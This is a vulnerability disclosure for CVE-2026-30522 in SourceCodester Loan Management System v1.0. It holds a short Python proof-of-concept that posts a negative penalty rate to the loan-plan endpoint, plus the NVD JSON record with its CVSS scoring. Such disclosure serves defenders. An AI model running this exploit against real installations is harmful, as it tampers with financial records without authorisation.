CVE-2026-30522

import requests # Target URL for creating a loan plan target_url = "http://target-host/loan_management/create_plan" # Attacker's session cookie (after login) session_cookies = { "PHPSESSID": "valid_session_id_here" } # Malicious payload: negative penalty rate payload_data = { "plan_name": "Exploit Plan", "interest_rate": "5", "penalty_rate": "-10" # Negative value to bypass frontend validation } try: response = requests.post(target_url, data=payload_data, cookies=session_cookies) if response.status_code == 200: print("[+] PoC executed successfully.") print("[+] Check if the loan plan was created with penalty_rate = -10") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-30522", "sourceIdentifier": "[email protected]", "published": "2026-04-01T14:16:50.027", "lastModified": "2026-04-01T18:44:04.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Business Logic vulnerability exists in SourceCodester Loan Management System v1.0 due to improper server-side validation. The application allows administrators to create \"Loan Plans\" with specific penalty rates for overdue payments. While the frontend interface prevents users from entering negative numbers in the \"Monthly Overdue Penalty\" field, this constraint is not enforced on the backend. An authenticated attacker can bypass the client-side restriction by manipulating the HTTP POST request to submit a negative value for the penalty_rate."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-602"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oretnom23:loan_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "7902576E-876D-4BE4-8EF6-28B7403B130D"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Loan-Management-System/BusinessLogic-LoanPlan-NegativePenalty.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}